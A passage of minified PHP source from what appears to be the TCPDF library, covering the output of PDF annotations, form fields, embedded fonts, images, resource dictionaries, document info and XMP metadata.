/Note';}$statemodels=array('Marked','Review');if(isset($pl['opt']['statemodel']) AND in_array($pl['opt']['statemodel'],$statemodels)){$annots.=' /StateModel /'.$pl['opt']['statemodel'];}else {$pl['opt']['statemodel']='Marked';$annots.=' /StateModel /'.$pl['opt']['statemodel'];}if($pl['opt']['statemodel']=='Marked'){$states=array('Accepted','Unmarked');}else {$states=array('Accepted','Rejected','Cancelled','Completed','None');}if(isset($pl['opt']['state']) AND in_array($pl['opt']['state'],$states)){$annots.=' /State /'.$pl['opt']['state'];}else {if($pl['opt']['statemodel']=='Marked'){$annots.=' /State /Unmarked';}else {$annots.=' /State /None';}}break;}case 'link':{if(is_string($pl['txt'])){if($pl['txt'][0]=='#'){$annots.=' /Dest /'.TCPDF_STATIC::encodeNameObject(substr($pl['txt'],1));}elseif($pl['txt'][0]=='%'){$filename=basename(substr($pl['txt'],1));$annots.=' /A << /S /GoToE /D [0 /Fit] /NewWindow true /T << /R /C /P '.($n-1).' /A '.$this->embeddedfiles[$filename]['a'].' >> >>';}elseif($pl['txt'][0]=='*'){$filename=basename(substr($pl['txt'],1));$jsa='var D=event.target.doc;var MyData=D.dataObjects;for (var i in MyData) if (MyData[i].path=="'.$filename.'") D.exportDataObject( { cName : MyData[i].name, nLaunch : 2});';$annots.=' /A << /S /JavaScript /JS '.$this->_textstring($jsa,$annot_obj_id).'>>';}else {$parsedUrl=parse_url($pl['txt']);if(empty($parsedUrl['scheme']) AND (strtolower(substr($parsedUrl['path'],-4))=='.pdf')){$dest='[0 /Fit]';if(!empty($parsedUrl['fragment'])){$tmp=explode('=',$parsedUrl['fragment']);$dest='('.((count($tmp)==2)?$tmp[1]:$tmp[0]).')';}$annots.=' /A <</S /GoToR /D '.$dest.' /F '.$this->_datastring($this->unhtmlentities($parsedUrl['path']),$annot_obj_id).' /NewWindow true>>';}else {$annots.=' /A <</S /URI /URI '.$this->_datastring($this->unhtmlentities($pl['txt']),$annot_obj_id).'>>';}}}elseif(isset($this->links[$pl['txt']])){$l=$this->links[$pl['txt']];if(isset($this->page_obj_id[($l['p'])])){$annots.=sprintf(' /Dest [%u 0 R /XYZ 0 %F null]',$this->page_obj_id[($l['p'])],($this->pagedim[$l['p']]['h']-($l['y']*$this->k)));}}$hmodes=array('N','I','O','P');if(isset($pl['opt']['h']) AND in_array($pl['opt']['h'],$hmodes)){$annots.=' /H /'.$pl['opt']['h'];}else {$annots.=' /H /I';}break;}case 'freetext':{if(isset($pl['opt']['da']) AND !empty($pl['opt']['da'])){$annots.=' /DA ('.$pl['opt']['da'].')';}if(isset($pl['opt']['q']) AND ($pl['opt']['q']>=0) AND ($pl['opt']['q']<=2)){$annots.=' /Q '.intval($pl['opt']['q']);}if(isset($pl['opt']['rc'])){$annots.=' /RC '.$this->_textstring($pl['opt']['rc'],$annot_obj_id);}if(isset($pl['opt']['ds'])){$annots.=' /DS '.$this->_textstring($pl['opt']['ds'],$annot_obj_id);}if(isset($pl['opt']['cl']) AND is_array($pl['opt']['cl'])){$annots.=' /CL [';foreach($pl['opt']['cl'] as $cl){$annots.=sprintf('%F ',$cl*$this->k);}$annots.=']';}$tfit=array('FreeText','FreeTextCallout','FreeTextTypeWriter');if(isset($pl['opt']['it']) AND in_array($pl['opt']['it'],$tfit)){$annots.=' /IT /'.$pl['opt']['it'];}if(isset($pl['opt']['rd']) AND is_array($pl['opt']['rd'])){$l=$pl['opt']['rd'][0]*$this->k;$r=$pl['opt']['rd'][1]*$this->k;$t=$pl['opt']['rd'][2]*$this->k;$b=$pl['opt']['rd'][3]*$this->k;$annots.=' /RD ['.sprintf('%F %F %F %F',$l,$r,$t,$b).']';}if(isset($pl['opt']['le']) AND in_array($pl['opt']['le'],$lineendings)){$annots.=' /LE /'.$pl['opt']['le'];}break;}case 'line':{break;}case 'square':{break;}case 'circle':{break;}case 'polygon':{break;}case 'polyline':{break;}case 'highlight':{break;}case 'underline':{break;}case 'squiggly':{break;}case 'strikeout':{break;}case 'stamp':{break;}case 'caret':{break;}case 'ink':{break;}case 'popup':{break;}case 'fileattachment':{if($this->pdfa_mode){break;}if(!isset($pl['opt']['fs'])){break;}$filename=basename($pl['opt']['fs']);if(isset($this->embeddedfiles[$filename]['f'])){$annots.=' /FS '.$this->embeddedfiles[$filename]['f'].' 0 R';$iconsapp=array('Graph','Paperclip','PushPin','Tag');if(isset($pl['opt']['name']) AND in_array($pl['opt']['name'],$iconsapp)){$annots.=' /Name /'.$pl['opt']['name'];}else {$annots.=' /Name /PushPin';}$this->embeddedfiles[$filename]['a']=$key;}break;}case 'sound':{if(!isset($pl['opt']['fs'])){break;}$filename=basename($pl['opt']['fs']);if(isset($this->embeddedfiles[$filename]['f'])){$annots.=' /Sound '.$this->embeddedfiles[$filename]['f'].' 0 R';$iconsapp=array('Speaker','Mic');if(isset($pl['opt']['name']) AND in_array($pl['opt']['name'],$iconsapp)){$annots.=' /Name /'.$pl['opt']['name'];}else {$annots.=' /Name /Speaker';}}break;}case 'movie':{break;}case 'widget':{$hmode=array('N','I','O','P','T');if(isset($pl['opt']['h']) AND in_array($pl['opt']['h'],$hmode)){$annots.=' /H /'.$pl['opt']['h'];}if(isset($pl['opt']['mk']) AND (is_array($pl['opt']['mk'])) AND !empty($pl['opt']['mk'])){$annots.=' /MK <<';if(isset($pl['opt']['mk']['r'])){$annots.=' /R '.$pl['opt']['mk']['r'];}if(isset($pl['opt']['mk']['bc']) AND (is_array($pl['opt']['mk']['bc']))){$annots.=' /BC '.TCPDF_COLORS::getColorStringFromArray($pl['opt']['mk']['bc']);}if(isset($pl['opt']['mk']['bg']) AND (is_array($pl['opt']['mk']['bg']))){$annots.=' /BG '.TCPDF_COLORS::getColorStringFromArray($pl['opt']['mk']['bg']);}if(isset($pl['opt']['mk']['ca'])){$annots.=' /CA '.$pl['opt']['mk']['ca'];}if(isset($pl['opt']['mk']['rc'])){$annots.=' /RC '.$pl['opt']['mk']['rc'];}if(isset($pl['opt']['mk']['ac'])){$annots.=' /AC '.$pl['opt']['mk']['ac'];}if(isset($pl['opt']['mk']['i'])){$info=$this->getImageBuffer($pl['opt']['mk']['i']);if($info!==false){$annots.=' /I '.$info['n'].' 0 R';}}if(isset($pl['opt']['mk']['ri'])){$info=$this->getImageBuffer($pl['opt']['mk']['ri']);if($info!==false){$annots.=' /RI '.$info['n'].' 0 R';}}if(isset($pl['opt']['mk']['ix'])){$info=$this->getImageBuffer($pl['opt']['mk']['ix']);if($info!==false){$annots.=' /IX '.$info['n'].' 0 R';}}if(isset($pl['opt']['mk']['if']) AND (is_array($pl['opt']['mk']['if'])) AND !empty($pl['opt']['mk']['if'])){$annots.=' /IF <<';$if_sw=array('A','B','S','N');if(isset($pl['opt']['mk']['if']['sw']) AND in_array($pl['opt']['mk']['if']['sw'],$if_sw)){$annots.=' /SW /'.$pl['opt']['mk']['if']['sw'];}$if_s=array('A','P');if(isset($pl['opt']['mk']['if']['s']) AND in_array($pl['opt']['mk']['if']['s'],$if_s)){$annots.=' /S /'.$pl['opt']['mk']['if']['s'];}if(isset($pl['opt']['mk']['if']['a']) AND (is_array($pl['opt']['mk']['if']['a'])) AND !empty($pl['opt']['mk']['if']['a'])){$annots.=sprintf(' /A [%F %F]',$pl['opt']['mk']['if']['a'][0],$pl['opt']['mk']['if']['a'][1]);}if(isset($pl['opt']['mk']['if']['fb']) AND ($pl['opt']['mk']['if']['fb'])){$annots.=' /FB true';}$annots.='>>';}if(isset($pl['opt']['mk']['tp']) AND ($pl['opt']['mk']['tp']>=0) AND ($pl['opt']['mk']['tp']<=6)){$annots.=' /TP '.intval($pl['opt']['mk']['tp']);}$annots.='>>';}if(isset($this->radiobutton_groups[$n][$pl['txt']])){$annots.=' /Parent '.$this->radiobutton_groups[$n][$pl['txt']].' 0 R';}if(isset($pl['opt']['t']) AND is_string($pl['opt']['t'])){$annots.=' /T '.$this->_datastring($pl['opt']['t'],$annot_obj_id);}if(isset($pl['opt']['tu']) AND is_string($pl['opt']['tu'])){$annots.=' /TU '.$this->_datastring($pl['opt']['tu'],$annot_obj_id);}if(isset($pl['opt']['tm']) AND is_string($pl['opt']['tm'])){$annots.=' /TM '.$this->_datastring($pl['opt']['tm'],$annot_obj_id);}if(isset($pl['opt']['ff'])){if(is_array($pl['opt']['ff'])){$flag=0;foreach($pl['opt']['ff'] as $val){$flag+=1<<($val-1);}}else {$flag=intval($pl['opt']['ff']);}$annots.=' /Ff '.$flag;}if(isset($pl['opt']['maxlen'])){$annots.=' /MaxLen '.intval($pl['opt']['maxlen']);}if(isset($pl['opt']['v'])){$annots.=' /V';if(is_array($pl['opt']['v'])){foreach($pl['opt']['v'] AS $optval){if(is_float($optval)){$optval=sprintf('%F',$optval);}$annots.=' '.$optval;}}else {$annots.=' '.$this->_textstring($pl['opt']['v'],$annot_obj_id);}}if(isset($pl['opt']['dv'])){$annots.=' /DV';if(is_array($pl['opt']['dv'])){foreach($pl['opt']['dv'] AS $optval){if(is_float($optval)){$optval=sprintf('%F',$optval);}$annots.=' '.$optval;}}else {$annots.=' '.$this->_textstring($pl['opt']['dv'],$annot_obj_id);}}if(isset($pl['opt']['rv'])){$annots.=' /RV';if(is_array($pl['opt']['rv'])){foreach($pl['opt']['rv'] AS $optval){if(is_float($optval)){$optval=sprintf('%F',$optval);}$annots.=' '.$optval;}}else {$annots.=' '.$this->_textstring($pl['opt']['rv'],$annot_obj_id);}}if(isset($pl['opt']['a']) AND !empty($pl['opt']['a'])){$annots.=' /A << '.$pl['opt']['a'].' >>';}if(isset($pl['opt']['aa']) AND !empty($pl['opt']['aa'])){$annots.=' /AA << '.$pl['opt']['aa'].' >>';}if(isset($pl['opt']['da']) AND !empty($pl['opt']['da'])){$annots.=' /DA ('.$pl['opt']['da'].')';}if(isset($pl['opt']['q']) AND ($pl['opt']['q']>=0) AND ($pl['opt']['q']<=2)){$annots.=' /Q '.intval($pl['opt']['q']);}if(isset($pl['opt']['opt']) AND (is_array($pl['opt']['opt'])) AND !empty($pl['opt']['opt'])){$annots.=' /Opt [';foreach($pl['opt']['opt'] AS $copt){if(is_array($copt)){$annots.=' ['.$this->_textstring($copt[0],$annot_obj_id).' '.$this->_textstring($copt[1],$annot_obj_id).']';}else {$annots.=' '.$this->_textstring($copt,$annot_obj_id);}}$annots.=']';}if(isset($pl['opt']['ti'])){$annots.=' /TI '.intval($pl['opt']['ti']);}if(isset($pl['opt']['i']) AND (is_array($pl['opt']['i'])) AND !empty($pl['opt']['i'])){$annots.=' /I [';foreach($pl['opt']['i'] AS $copt){$annots.=intval($copt).' ';}$annots.=']';}break;}case 'screen':{break;}case 'printermark':{break;}case 'trapnet':{break;}case 'watermark':{break;}case '3d':{break;}default:{break;}}$annots.='>>';$this->_out($this->_getobj($annot_obj_id)."
".$annots."
".'endobj');if($formfield AND !isset($this->radiobutton_groups[$n][$pl['txt']])){$this->form_obj_id[]=$annot_obj_id;}}}}} function _putAPXObject($w=0,$h=0,$stream=''){$stream=trim($stream);$out=$this->_getobj()."
";$this->xobjects['AX'.$this->n]=array('n'=>$this->n);$out.='<<';$out.=' /Type /XObject';$out.=' /Subtype /Form';$out.=' /FormType 1';if($this->compress){$stream=gzcompress($stream);$out.=' /Filter /FlateDecode';}$rect=sprintf('%F %F',$w,$h);$out.=' /BBox [0 0 '.$rect.']';$out.=' /Matrix [1 0 0 1 0 0]';$out.=' /Resources 2 0 R';$stream=$this->_getrawstream($stream);$out.=' /Length '.strlen($stream);$out.=' >>';$out.=' stream'."
".$stream."
".'endstream';$out.="
".'endobj';$this->_out($out);return $this->n;} function _putfonts(){$nf=$this->n;foreach($this->diffs as $diff){$this->_newobj();$this->_out('<< /Type /Encoding /BaseEncoding /WinAnsiEncoding /Differences ['.$diff.'] >>'."
".'endobj');}$mqr=TCPDF_STATIC::get_mqr();TCPDF_STATIC::set_mqr(false);foreach($this->FontFiles as $file=>$info){$fontfile=TCPDF_FONTS::getFontFullPath($file,$info['fontdir']);if(!TCPDF_STATIC::empty_string($fontfile)){$font=file_get_contents($fontfile);$compressed=(substr($file,-2)=='.z');if((!$compressed) AND (isset($info['length2']))){$header=(ord($font[0])==128);if($header){$font=substr($font,6);}if($header AND (ord($font[$info['length1']])==128)){$font=substr($font,0,$info['length1']).substr($font,($info['length1']+6));}}elseif($info['subset'] AND ((!$compressed) OR ($compressed AND function_exists('gzcompress')))){if($compressed){$font=gzuncompress($font);}$subsetchars=array();foreach($info['fontkeys'] as $fontkey){$fontinfo=$this->getFontBuffer($fontkey);$subsetchars+=$fontinfo['subsetchars'];}$font=TCPDF_FONTS::_getTrueTypeFontSubset($font,$subsetchars);$info['length1']=strlen($font);if($compressed){$font=gzcompress($font);}}$this->_newobj();$this->FontFiles[$file]['n']=$this->n;$stream=$this->_getrawstream($font);$out='<< /Length '.strlen($stream);if($compressed){$out.=' /Filter /FlateDecode';}$out.=' /Length1 '.$info['length1'];if(isset($info['length2'])){$out.=' /Length2 '.$info['length2'].' /Length3 0';}$out.=' >>';$out.=' stream'."
".$stream."
".'endstream';$out.="
".'endobj';$this->_out($out);}}TCPDF_STATIC::set_mqr($mqr);foreach($this->fontkeys as $k){$font=$this->getFontBuffer($k);$type=$font['type'];$name=$font['name'];if($type=='core'){$out=$this->_getobj($this->font_obj_ids[$k])."
";$out.='<</Type /Font';$out.=' /Subtype /Type1';$out.=' /BaseFont /'.$name;$out.=' /Name /F'.$font['i'];if((strtolower($name)!='symbol') AND (strtolower($name)!='zapfdingbats')){$out.=' /Encoding /WinAnsiEncoding';}if($k=='helvetica'){$this->annotation_fonts[$k]=$font['i'];}$out.=' >>';$out.="
".'endobj';$this->_out($out);}elseif(($type=='Type1') OR ($type=='TrueType')){$out=$this->_getobj($this->font_obj_ids[$k])."
";$out.='<</Type /Font';$out.=' /Subtype /'.$type;$out.=' /BaseFont /'.$name;$out.=' /Name /F'.$font['i'];$out.=' /FirstChar 32 /LastChar 255';$out.=' /Widths '.($this->n+1).' 0 R';$out.=' /FontDescriptor '.($this->n+2).' 0 R';if($font['enc']){if(isset($font['diff'])){$out.=' /Encoding '.($nf+$font['diff']).' 0 R';}else {$out.=' /Encoding /WinAnsiEncoding';}}$out.=' >>';$out.="
".'endobj';$this->_out($out);$this->_newobj();$s='[';for($i=32;$i<256;++$i){if(isset($font['cw'][$i])){$s.=$font['cw'][$i].' ';}else {$s.=$font['dw'].' ';}}$s.=']';$s.="
".'endobj';$this->_out($s);$this->_newobj();$s='<</Type /FontDescriptor /FontName /'.$name;foreach($font['desc'] as $fdk=>$fdv){if(is_float($fdv)){$fdv=sprintf('%F',$fdv);}$s.=' /'.$fdk.' '.$fdv.'';}if(!TCPDF_STATIC::empty_string($font['file'])){$s.=' /FontFile'.($type=='Type1'?'':'2').' '.$this->FontFiles[$font['file']]['n'].' 0 R';}$s.='>>';$s.="
".'endobj';$this->_out($s);}else {$mtd='_put'.strtolower($type);if(!method_exists($this,$mtd)){$this->Error('Unsupported font type: '.$type);}$this->$mtd($font);}}} function _puttruetypeunicode($font){$fontname='';if($font['subset']){$subtag=sprintf('%06u',$font['i']);$subtag=strtr($subtag,'0123456789','ABCDEFGHIJ');$fontname.=$subtag.'+';}$fontname.=$font['name'];$out=$this->_getobj($this->font_obj_ids[$font['fontkey']])."
";$out.='<< /Type /Font';$out.=' /Subtype /Type0';$out.=' /BaseFont /'.$fontname;$out.=' /Name /F'.$font['i'];$out.=' /Encoding /'.$font['enc'];$out.=' /ToUnicode '.($this->n+1).' 0 R';$out.=' /DescendantFonts ['.($this->n+2).' 0 R]';$out.=' >>';$out.="
".'endobj';$this->_out($out);$stream=TCPDF_FONT_DATA::$uni_identity_h;$this->_newobj();$stream=($this->compress)?gzcompress($stream):$stream;$filter=($this->compress)?'/Filter /FlateDecode ':'';$stream=$this->_getrawstream($stream);$this->_out('<<'.$filter.'/Length '.strlen($stream).'>> stream'."
".$stream."
".'endstream'."
".'endobj');$oid=$this->_newobj();$out='<< /Type /Font';$out.=' /Subtype /CIDFontType2';$out.=' /BaseFont /'.$fontname;$cidinfo='/Registry '.$this->_datastring($font['cidinfo']['Registry'],$oid);$cidinfo.=' /Ordering '.$this->_datastring($font['cidinfo']['Ordering'],$oid);$cidinfo.=' /Supplement '.$font['cidinfo']['Supplement'];$out.=' /CIDSystemInfo << '.$cidinfo.' >>';$out.=' /FontDescriptor '.($this->n+1).' 0 R';$out.=' /DW '.$font['dw'];$out.="
".TCPDF_FONTS::_putfontwidths($font,0);if(isset($font['ctg']) AND (!TCPDF_STATIC::empty_string($font['ctg']))){$out.="
".'/CIDToGIDMap '.($this->n+2).' 0 R';}$out.=' >>';$out.="
".'endobj';$this->_out($out);$this->_newobj();$out='<< /Type /FontDescriptor';$out.=' /FontName /'.$fontname;foreach($font['desc'] as $key=>$value){if(is_float($value)){$value=sprintf('%F',$value);}$out.=' /'.$key.' '.$value;}$fontdir=false;if(!TCPDF_STATIC::empty_string($font['file'])){$out.=' /FontFile2 '.$this->FontFiles[$font['file']]['n'].' 0 R';$fontdir=$this->FontFiles[$font['file']]['fontdir'];}$out.=' >>';$out.="
".'endobj';$this->_out($out);if(isset($font['ctg']) AND (!TCPDF_STATIC::empty_string($font['ctg']))){$this->_newobj();$ctgfile=strtolower($font['ctg']);$fontfile=TCPDF_FONTS::getFontFullPath($ctgfile,$fontdir);if(TCPDF_STATIC::empty_string($fontfile)){$this->Error('Font file not found: '.$ctgfile);}$stream=$this->_getrawstream(file_get_contents($fontfile));$out='<< /Length '.strlen($stream).'';if(substr($fontfile,-2)=='.z'){$out.=' /Filter /FlateDecode';}$out.=' >>';$out.=' stream'."
".$stream."
".'endstream';$out.="
".'endobj';$this->_out($out);}} function _putcidfont0($font){$cidoffset=0;if(!isset($font['cw'][1])){$cidoffset=31;}if(isset($font['cidinfo']['uni2cid'])){$uni2cid=$font['cidinfo']['uni2cid'];$cw=array();foreach($font['cw'] as $uni=>$width){if(isset($uni2cid[$uni])){$cw[($uni2cid[$uni]+$cidoffset)]=$width;}elseif($uni<256){$cw[$uni]=$width;}}$font=array_merge($font,array('cw'=>$cw));}$name=$font['name'];$enc=$font['enc'];if($enc){$longname=$name.'-'.$enc;}else {$longname=$name;}$out=$this->_getobj($this->font_obj_ids[$font['fontkey']])."
";$out.='<</Type /Font';$out.=' /Subtype /Type0';$out.=' /BaseFont /'.$longname;$out.=' /Name /F'.$font['i'];if($enc){$out.=' /Encoding /'.$enc;}$out.=' /DescendantFonts ['.($this->n+1).' 0 R]';$out.=' >>';$out.="
".'endobj';$this->_out($out);$oid=$this->_newobj();$out='<</Type /Font';$out.=' /Subtype /CIDFontType0';$out.=' /BaseFont /'.$name;$cidinfo='/Registry '.$this->_datastring($font['cidinfo']['Registry'],$oid);$cidinfo.=' /Ordering '.$this->_datastring($font['cidinfo']['Ordering'],$oid);$cidinfo.=' /Supplement '.$font['cidinfo']['Supplement'];$out.=' /CIDSystemInfo <<'.$cidinfo.'>>';$out.=' /FontDescriptor '.($this->n+1).' 0 R';$out.=' /DW '.$font['dw'];$out.="
".TCPDF_FONTS::_putfontwidths($font,$cidoffset);$out.=' >>';$out.="
".'endobj';$this->_out($out);$this->_newobj();$s='<</Type /FontDescriptor /FontName /'.$name;foreach($font['desc'] as $k=>$v){if($k!='Style'){if(is_float($v)){$v=sprintf('%F',$v);}$s.=' /'.$k.' '.$v.'';}}$s.='>>';$s.="
".'endobj';$this->_out($s);} function _putimages(){$filter=($this->compress)?'/Filter /FlateDecode ':'';foreach($this->imagekeys as $file){$info=$this->getImageBuffer($file);if((!$this->pdfa_mode) AND isset($info['altimgs']) AND !empty($info['altimgs'])){$altoid=$this->_newobj();$out='[';foreach($info['altimgs'] as $altimage){if(isset($this->xobjects['I'.$altimage[0]]['n'])){$out.=' << /Image '.$this->xobjects['I'.$altimage[0]]['n'].' 0 R';$out.=' /DefaultForPrinting';if($altimage[1]===true){$out.=' true';}else {$out.=' false';}$out.=' >>';}}$out.=' ]';$out.="
".'endobj';$this->_out($out);}$oid=$this->_newobj();$this->xobjects['I'.$info['i']]=array('n'=>$oid);$this->setImageSubBuffer($file,'n',$this->n);$out='<</Type /XObject';$out.=' /Subtype /Image';$out.=' /Width '.$info['w'];$out.=' /Height '.$info['h'];if(array_key_exists('masked',$info)){$out.=' /SMask '.($this->n-1).' 0 R';}$icc=false;if(isset($info['icc']) AND ($info['icc']!==false)){$icc=true;$out.=' /ColorSpace [/ICCBased '.($this->n+1).' 0 R]';}elseif($info['cs']=='Indexed'){$out.=' /ColorSpace [/Indexed /DeviceRGB '.((strlen($info['pal'])/3)-1).' '.($this->n+1).' 0 R]';}else {$out.=' /ColorSpace /'.$info['cs'];}if($info['cs']=='DeviceCMYK'){$out.=' /Decode [1 0 1 0 1 0 1 0]';}$out.=' /BitsPerComponent '.$info['bpc'];if(isset($altoid) AND ($altoid>0)){$out.=' /Alternates '.$altoid.' 0 R';}if(isset($info['exurl']) AND !empty($info['exurl'])){$out.=' /Length 0';$out.=' /F << /FS /URL /F '.$this->_datastring($info['exurl'],$oid).' >>';if(isset($info['f'])){$out.=' /FFilter /'.$info['f'];}$out.=' >>';$out.=' stream'."
".'endstream';}else {if(isset($info['f'])){$out.=' /Filter /'.$info['f'];}if(isset($info['parms'])){$out.=' '.$info['parms'];}if(isset($info['trns']) AND is_array($info['trns'])){$trns='';$count_info=count($info['trns']);if($info['cs']=='Indexed'){$maxval=(pow(2,$info['bpc'])-1);for($i=0;$i<$count_info;++$i){if(($info['trns'][$i]!=0) AND ($info['trns'][$i]!=$maxval)){$trns='';break;}elseif(empty($trns) AND ($info['trns'][$i]==0)){$trns.=$i.' '.$i.' ';}}}else {for($i=0;$i<$count_info;++$i){if($info['trns'][$i]==0){$trns.=$info['trns'][$i].' '.$info['trns'][$i].' ';}}}if(!empty($trns)){$out.=' /Mask ['.$trns.']';}}$stream=$this->_getrawstream($info['data']);$out.=' /Length '.strlen($stream).' >>';$out.=' stream'."
".$stream."
".'endstream';}$out.="
".'endobj';$this->_out($out);if($icc){$this->_newobj();$icc=($this->compress)?gzcompress($info['icc']):$info['icc'];$icc=$this->_getrawstream($icc);$this->_out('<</N '.$info['ch'].' /Alternate /'.$info['cs'].' '.$filter.'/Length '.strlen($icc).'>> stream'."
".$icc."
".'endstream'."
".'endobj');}elseif($info['cs']=='Indexed'){$this->_newobj();$pal=($this->compress)?gzcompress($info['pal']):$info['pal'];$pal=$this->_getrawstream($pal);$this->_out('<<'.$filter.'/Length '.strlen($pal).'>> stream'."
".$pal."
".'endstream'."
".'endobj');}}} function _putxobjects(){foreach($this->xobjects as $key=>$data){if(isset($data['outdata'])){$stream=str_replace($this->epsmarker,'',trim($data['outdata']));$out=$this->_getobj($data['n'])."
";$out.='<<';$out.=' /Type /XObject';$out.=' /Subtype /Form';$out.=' /FormType 1';if($this->compress){$stream=gzcompress($stream);$out.=' /Filter /FlateDecode';}$out.=sprintf(' /BBox [%F %F %F %F]',($data['x']*$this->k),(-$data['y']*$this->k),(($data['w']+$data['x'])*$this->k),(($data['h']-$data['y'])*$this->k));$out.=' /Matrix [1 0 0 1 0 0]';$out.=' /Resources <<';$out.=' /ProcSet [/PDF /Text /ImageB /ImageC /ImageI]';if(!$this->pdfa_mode){if(isset($data['extgstates']) AND !empty($data['extgstates'])){$out.=' /ExtGState <<';foreach($data['extgstates'] as $k=>$extgstate){if(isset($this->extgstates[$k]['name'])){$out.=' /'.$this->extgstates[$k]['name'];}else {$out.=' /GS'.$k;}$out.=' '.$this->extgstates[$k]['n'].' 0 R';}$out.=' >>';}if(isset($data['gradients']) AND !empty($data['gradients'])){$gp='';$gs='';foreach($data['gradients'] as $id=>$grad){$gp.=' /p'.$id.' '.$this->gradients[$id]['pattern'].' 0 R';$gs.=' /Sh'.$id.' '.$this->gradients[$id]['id'].' 0 R';}$out.=' /Pattern <<'.$gp.' >>';$out.=' /Shading <<'.$gs.' >>';}}if(isset($data['spot_colors']) AND !empty($data['spot_colors'])){$out.=' /ColorSpace <<';foreach($data['spot_colors'] as $name=>$color){$out.=' /CS'.$color['i'].' '.$this->spot_colors[$name]['n'].' 0 R';}$out.=' >>';}if(!empty($data['fonts'])){$out.=' /Font <<';foreach($data['fonts'] as $fontkey=>$fontid){$out.=' /F'.$fontid.' '.$this->font_obj_ids[$fontkey].' 0 R';}$out.=' >>';}if(!empty($data['images']) OR !empty($data['xobjects'])){$out.=' /XObject <<';foreach($data['images'] as $imgid){$out.=' /I'.$imgid.' '.$this->xobjects['I'.$imgid]['n'].' 0 R';}foreach($data['xobjects'] as $sub_id=>$sub_objid){$out.=' /'.$sub_id.' '.$sub_objid['n'].' 0 R';}$out.=' >>';}$out.=' >>';if(isset($data['group']) AND ($data['group']!==false)){$out.=' /Group << /Type /Group /S /Transparency';if(is_array($data['group'])){if(isset($data['group']['CS']) AND !empty($data['group']['CS'])){$out.=' /CS /'.$data['group']['CS'];}if(isset($data['group']['I'])){$out.=' /I /'.($data['group']['I']===true?'true':'false');}if(isset($data['group']['K'])){$out.=' /K /'.($data['group']['K']===true?'true':'false');}}$out.=' >>';}$stream=$this->_getrawstream($stream,$data['n']);$out.=' /Length '.strlen($stream);$out.=' >>';$out.=' stream'."
".$stream."
".'endstream';$out.="
".'endobj';$this->_out($out);}}} function _putspotcolors(){foreach($this->spot_colors as $name=>$color){$this->_newobj();$this->spot_colors[$name]['n']=$this->n;$out='[/Separation /'.str_replace(' ','#20',$name);$out.=' /DeviceCMYK <<';$out.=' /Range [0 1 0 1 0 1 0 1] /C0 [0 0 0 0]';$out.=' '.sprintf('/C1 [%F %F %F %F] ',($color['C']/100),($color['M']/100),($color['Y']/100),($color['K']/100));$out.=' /FunctionType 2 /Domain [0 1] /N 1>>]';$out.="
".'endobj';$this->_out($out);}} function _getxobjectdict(){$out='';foreach($this->xobjects as $id=>$objid){$out.=' /'.$id.' '.$objid['n'].' 0 R';}return $out;} function _putresourcedict(){$out=$this->_getobj(2)."
";$out.='<< /ProcSet [/PDF /Text /ImageB /ImageC /ImageI]';$out.=' /Font <<';foreach($this->fontkeys as $fontkey){$font=$this->getFontBuffer($fontkey);$out.=' /F'.$font['i'].' '.$font['n'].' 0 R';}$out.=' >>';$out.=' /XObject <<';$out.=$this->_getxobjectdict();$out.=' >>';if(!empty($this->pdflayers)){$out.=' /Properties <<';foreach($this->pdflayers as $layer){$out.=' /'.$layer['layer'].' '.$layer['objid'].' 0 R';}$out.=' >>';}if(!$this->pdfa_mode){if(isset($this->extgstates) AND !empty($this->extgstates)){$out.=' /ExtGState <<';foreach($this->extgstates as $k=>$extgstate){if(isset($extgstate['name'])){$out.=' /'.$extgstate['name'];}else {$out.=' /GS'.$k;}$out.=' '.$extgstate['n'].' 0 R';}$out.=' >>';}if(isset($this->gradients) AND !empty($this->gradients)){$gp='';$gs='';foreach($this->gradients as $id=>$grad){$gp.=' /p'.$id.' '.$grad['pattern'].' 0 R';$gs.=' /Sh'.$id.' '.$grad['id'].' 0 R';}$out.=' /Pattern <<'.$gp.' >>';$out.=' /Shading <<'.$gs.' >>';}}if(isset($this->spot_colors) AND !empty($this->spot_colors)){$out.=' /ColorSpace <<';foreach($this->spot_colors as $color){$out.=' /CS'.$color['i'].' '.$color['n'].' 0 R';}$out.=' >>';}$out.=' >>';$out.="
".'endobj';$this->_out($out);} function _putresources(){$this->_putextgstates();$this->_putocg();$this->_putfonts();$this->_putimages();$this->_putspotcolors();$this->_putshaders();$this->_putxobjects();$this->_putresourcedict();$this->_putdests();$this->_putEmbeddedFiles();$this->_putannotsobjs();$this->_putjavascript();$this->_putbookmarks();$this->_putencryption();} function _putinfo(){$oid=$this->_newobj();$out='<<';$prev_isunicode=$this->isunicode;if($this->docinfounicode){$this->isunicode=true;}if(!TCPDF_STATIC::empty_string($this->title)){$out.=' /Title '.$this->_textstring($this->title,$oid);}if(!TCPDF_STATIC::empty_string($this->author)){$out.=' /Author '.$this->_textstring($this->author,$oid);}if(!TCPDF_STATIC::empty_string($this->subject)){$out.=' /Subject '.$this->_textstring($this->subject,$oid);}if(!TCPDF_STATIC::empty_string($this->keywords)){$out.=' /Keywords '.$this->_textstring($this->keywords,$oid);}if(!TCPDF_STATIC::empty_string($this->creator)){$out.=' /Creator '.$this->_textstring($this->creator,$oid);}$this->isunicode=$prev_isunicode;$out.=' /Producer '.$this->_textstring(TCPDF_STATIC::getTCPDFProducer(),$oid);$out.=' /CreationDate '.$this->_datestring(0,$this->doc_creation_timestamp);$out.=' /ModDate '.$this->_datestring(0,$this->doc_modification_timestamp);$out.=' /Trapped /False';$out.=' >>';$out.="
".'endobj';$this->_out($out);return $oid;} function setExtraXMP($xmp){$this->custom_xmp=$xmp;} function _putXMP(){$oid=$this->_newobj();$prev_isunicode=$this->isunicode;$this->isunicode=true;$prev_encrypted=$this->encrypted;$this->encrypted=false;$xmp='<?xpacket begin="'.TCPDF_FONTS::unichr(0xfeff,$this->isunicode).'" id="W5M0MpCehiHzreSzNTczkc9d"?>'."
";$xmp.='<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 4.2.1-c043 52.372728, 2009/01/18-15:08:04">'."
";$xmp.=" ".'<rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">'."
";$xmp.=" ".'<rdf:Description rdf:about="" xmlns:dc="http://purl.org/dc/elements/1.1/">'."
";$xmp.=" ".'<dc:format>application/pdf</dc:format>'."
";$xmp.=" ".'<dc:title>'."
";$xmp.=" ".'<rdf:Alt>'."
";$xmp.=" ".'<rdf:li xml:lang="x-default">'.TCPDF_STATIC::_escapeXML($this->title).'</rdf:li>'."
";$xmp.=" ".'</rdf:Alt>'."
